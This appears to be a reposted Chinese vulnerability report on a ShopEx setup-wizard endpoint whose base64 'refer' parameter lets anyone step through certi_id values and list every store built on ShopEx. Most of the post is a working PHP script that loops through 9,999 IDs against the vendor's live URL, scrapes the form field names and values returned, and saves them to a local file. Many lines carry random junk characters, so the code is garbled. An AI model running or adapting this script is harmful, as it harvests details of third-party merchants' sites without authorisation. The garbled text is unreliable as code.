ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
+ ~6 m  {1 b; F详细说明：
8 j) H- i9 l# Q7 @2 ?9 K问题出现在shopex 网店使用向导页面



4 a  |) c) X# |& e) a! chttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



我们修改certi_id 即可遍历所有使用了ShopEx程序的网站



<?php

                for ($i=1; $i < 10000; $i++) { //遍历
6 Q; g  G7 M. E2 t7 E, R0 \4 a
. r$ G, J; |& b# w                        ShowshopExD($i);
3 D3 L# r6 j; V( S2 w2 p
                }
8 y# C- Z# S% f
                function ShowshopExD($cid) {
( S. f! X  b  A# O' w
& j; j: ]' D9 C7 O3 B. }0 Q8 y                $url='http://guide.ecos.shopex.cn/step2.php';
' v4 ~% i) p. s( [$ D
+ k# a. x9 W0 }$ A                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
# A0 h, Z) B. L9 g5 @" y
        $ch = curl_init($url);
* i# U) y  T) _
7 b; h3 r# y8 t9 `5 W! o' Q        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
4 `" I+ T! n' [/ I$ G8 k% x
        $result = curl_exec($ch);

7 l9 n' G/ k6 H3 w+ l% n, i( v        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
: c7 w4 j1 m3 {% X% q; Z
6 o! N, \! p9 V        if(strpos($result,$refer))
" l& D2 X: W# K1 _5 [
  B# d6 O- c+ f4 K- S$ i* t        {
8 l6 d! A, x8 B9 W
, a4 v+ t& v; x9 L8 H+ D                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
" j. f8 \0 r% t
1 I: u# z, B! Z                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

$ S) x, \- P# f                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
% v0 }5 A( P! Y0 w' y* r
                        echo $res[1][0].':'.$res[3][0]."\r\n";
; R1 i3 `, `. ^& X0 L& J
; X6 \, U) {# G                        $col =$res[1][0].':'.$res[3][0]."\r\n";
* [% X0 t' d, Z1 ^
" F) T7 R/ g2 Q" P# J; b                        fwrite($fp, $col, strlen($col));

. U# k) X, `- n& ^/ u, J. N6 ]                }

                echo '--------------------------------'."\r\n";

% X- [" ~) \+ Z' z                fclose($fp);
5 Z# R6 M0 S& c- w0 X9 s' S
        }

        flush();

        curl_close($ch);
. G( H2 r- I6 W. x! y0 r& L
, C2 ]8 f) `% Q+ [                }

?>
漏洞证明：
! l* c% T% ?! Q9 R# Hhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
9 r) e" {4 x  frefer换成其他加密方式
5 |& V3 i4 J3 P. T0 |5 {, d5 g